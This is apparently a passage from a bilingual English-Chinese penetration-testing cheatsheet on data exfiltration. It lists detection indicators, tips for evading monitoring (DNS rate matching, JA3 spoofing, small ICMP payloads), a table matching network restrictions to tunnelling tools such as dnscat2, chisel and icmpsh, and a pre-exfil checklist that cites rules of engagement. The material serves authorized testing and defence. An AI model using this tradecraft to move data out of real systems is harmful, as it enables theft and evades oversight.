电子邮件数据外泄附件较大或已加密、收件人异常、草稿数量异常DLP 网关、Exchange 审计日志
隐写术熵值异常、结束标记后存在追加数据、隐写特征StegExpose、文件雕刻
隐蔽通道异常标头、不规则时序、非标准协议DPI、协议异常检测、ML 流量分析

Evasion Notes

规避说明

  • Match DNS query rate to baseline; prefer A/AAAA over TXT/NULL records.
  • Use browser-matching JA3 fingerprints; curl's TLS signature is distinctive.
  • Keep ICMP payloads under 64 bytes. Rotate cloud buckets. Transfer during peak hours.

  • 使 DNS 查询速率与基线一致;优先使用 A/AAAA,而非 TXT/NULL 记录。
  • 使用与浏览器匹配的 JA3 指纹;curl 的 TLS 特征非常明显。
  • 将 ICMP 有效载荷保持在 64 字节以内。轮换云存储桶。在流量高峰期传输。

Engagement Cheatsheet

演练速查表

ScenarioChannelToolNotes
Only port 53DNS tunneliodine, dnscat2Slow; slow-drip for stealth
DNS, no infraDNS query encodingPacketWhisperNo auth NS needed
Web accessHTTPSchisel, curlFastest; blend with traffic
Domain filteringDomain frontingcurl + CDNCDN must allow fronting
Ping allowedICMPptunnel-ng, icmpshLimited BW; keys/creds
Cloud accessDead dropS3/Azure/GCS URLsNo client tools needed
Email availableSMTP/EWS/draftsmtplib, exchangelibDraft = no sent evidence
Content inspectionStego + HTTPSsteghide + curlCarrier must look normal
Extreme monitoringTiming channelCustom PythonBits/sec; near-undetectable
Single file < 1MBDNS TXTCustom scriptNo tools to drop
Large dataset > 1GBHTTPS or cloudchisel, presigned URLDaily chunks
场景通道工具备注
仅开放 53 端口DNS 隧道iodine、dnscat2速度慢;为隐蔽性采用 Slow-Drip
可用 DNS,无基础设施DNS 查询编码PacketWhisper无需认证 NS
允许 Web 访问HTTPSchisel、curl最快;融入现有流量
存在域名过滤Domain Frontingcurl + CDNCDN 必须允许域前置
允许 pingICMPptunnel-ng、icmpsh带宽有限;适用于密钥和凭据
允许云访问死信箱S3/Azure/GCS URL无需客户端工具
可用电子邮件SMTP/EWS/Draftsmtplib、exchangelibDraft 不会留下已发送邮件证据
存在内容检查隐写 + HTTPSsteghide + curl载体文件必须看起来正常
严格监控时间信道自定义 Pythonbit/s;几乎无法检测
单个文件 < 1MBDNS TXT自定义脚本无需投放工具
大型数据集 > 1GBHTTPS 或云存储chisel、预签名 URL每日分块传输

Pre-Exfil Checklist

数据外泄前检查清单

  • Verify exfil is in scope per RoE
  • Identify egress channels; stage in innocuous directory
  • Compress, encrypt (AES-256 min), split into channel-sized chunks
  • Generate SHA-256 manifest; test with canary file first
  • Set rate below detection thresholds; verify receipt and integrity
  • Securely delete staging and tools; document exfil chain for report

  • 确认数据外泄行为符合 RoE 规定的范围
  • 识别出站通道;在不起眼目录中暂存数据
  • 压缩并加密(至少使用 AES-256),再拆分为适合通道大小的分块
  • 生成 SHA-256 清单;先使用 canary 文件进行测试
  • 将传输速率设定在检测阈值以下;验证接收情况和完整性
  • 安全删除暂存数据和工具;在报告中记录完整的数据外泄链路

Key References

主要参考资料